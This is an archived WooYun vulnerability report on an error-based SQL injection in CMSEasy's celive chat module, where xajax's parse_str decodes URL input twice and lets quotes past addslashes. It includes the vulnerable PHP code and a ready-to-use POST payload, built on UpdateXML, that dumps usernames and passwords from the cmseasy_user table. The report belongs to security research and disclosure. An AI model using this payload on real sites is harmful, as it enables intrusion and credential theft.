当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(62) 关注此漏洞

缺陷编号: WooYun-2015-137013

漏洞标题: cmseasy 无限制报错注入(php函数的坑)

相关厂商: cmseasy

漏洞作者: menmen519

提交时间: 2015-08-26 10:30

公开时间: 2015-11-24 10:36

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核

7人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-26: 细节已通知厂商并且等待厂商处理中
2015-08-26: 厂商已经确认,细节仅向厂商公开
2015-08-29: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-10-20: 细节向核心白帽子及相关领域专家公开
2015-10-30: 细节向普通白帽子公开
2015-11-09: 细节向实习白帽子公开
2015-11-24: 细节向公众公开

简要描述:

cmseasy 无限制报错注入(可获取全站信息exp)

详细说明:

问题还是出在clive 上面,但是跟以往的不同的是,xjxquery 这个上面就发生了问题,看代码:



xajax.class.php:



code 区域
if ($rootTag == "xjxquery") {
$sQuery = "";
$this->iPos++;
while (!stristr($this->aObjArray[$this->iPos], "</xjxquery>")) {
if (stristr($this->aObjArray[$this->iPos], "<q>") || stristr($this->aObjArray[$this->iPos], "</q>")) {
$this->iPos++;
continue;
}
$sQuery .= $this->aObjArray[$this->iPos];
$this->iPos++;
}
parse_str($sQuery, $aArray);
if ($this->bDecodeUTF8Input) {
foreach ($aArray as $key => $value) {
$aArray[$key] = $this->_decodeUTF8Data($value);
}
}
if (get_magic_quotes_gpc() == 1) {
$newArray = array();
foreach ($aArray as $sKey => $sValue) {
if (is_string($sValue))
$newArray[$sKey] = stripslashes($sValue);
else
$newArray[$sKey] = $sValue;
}
$aArray = $newArray;
}
}
return $aArray;
}







问题发生在哪里了:



parse_str($sQuery, $aArray);





这个函数,本身会对url编码进行一次decode的



测试一下



code 区域
<?php 
echo $_GET['b'];
echo "<br>";
parse_str($_GET['b']);
echo $a;
?>







1.png







成立





第二处逻辑

如果gpc开启的话,它会进行一次stripslashes



code 区域
if (get_magic_quotes_gpc() == 1) {
$newArray = array();
foreach ($aArray as $sKey => $sValue) {
if (is_string($sValue))
$newArray[$sKey] = stripslashes($sValue);







以往的 注册函数有两个前台可以利用:



Postdata 和 LiveMessage





看看LiveMessage:

code 区域
function LiveMessage($a) {
global $db;
$sessionid = $_SESSION['sessionid'];
$name = addslashes(htmlspecialchars($a['name']));
$email = addslashes(htmlspecialchars($a['email']));
$country = addslashes(htmlspecialchars($a['country']));
$phone = addslashes(htmlspecialchars($a['phone']));
$departmentid = addslashes(htmlspecialchars($a['departmentid']));
$message = addslashes(htmlspecialchars($a['message']));







所有的参数都被addslashes





我们在看看:

Postdata



function Postdata($a) {

global $db;

$chatid = $_SESSION['chatid'];

$name = $_SESSION['name'];

$a['detail'] = htmlspecialchars($a['detail']);

if (!get_magic_quotes_gpc()) {

$a['detail'] = addslashes($a['detail']);

}



如果gpc开启的话,就不进行addslashes 好的 直接exp



发送url:

http://localhost/Cmseasy/celive/live/header.php



postdata:

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520cmseasy_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>





2.png



漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-26 10:35

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-08-26 10:31 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    前排!

  2. 2015-08-26 10:31 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1358 漏洞数:142 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)
    0

    大牛发洞了 前排

  3. 2015-08-26 10:32 | 残废 ( 普通白帽子 | Rank:274 漏洞数:58 | 我是残废,啦啦啦啦)
    0

    前排出售瓜子花生

  4. 2015-08-26 10:36 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    mark

  5. 2015-08-26 11:02 | 木惘然 ( 实习白帽子 | Rank:95 漏洞数:37 | 欠下的约定)
    0

    什么函数

  6. 2015-09-02 11:45 | Sunshie ( 实习白帽子 | Rank:77 漏洞数:22 | http://phpinfo.meฏ๎๎๎๎๎๎๎๎๎๎...)
    0

    什么函数

  7. 2015-11-24 12:07 | 黑翼、 ( 路人 | Rank:26 漏洞数:10 | o(∩_∩)o)
    0

    Column count doesn't match value count at row 1

  8. 2015-11-24 15:44 | Sai、 ( 路人 | Rank:14 漏洞数:4 | for fun……)
    0

    有意思,赞一个……

  9. 2015-11-24 16:18 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @黑翼、 最新版本的数据改了一下,修改一下payload,可以出来

登录后才能发表评论,请先 登录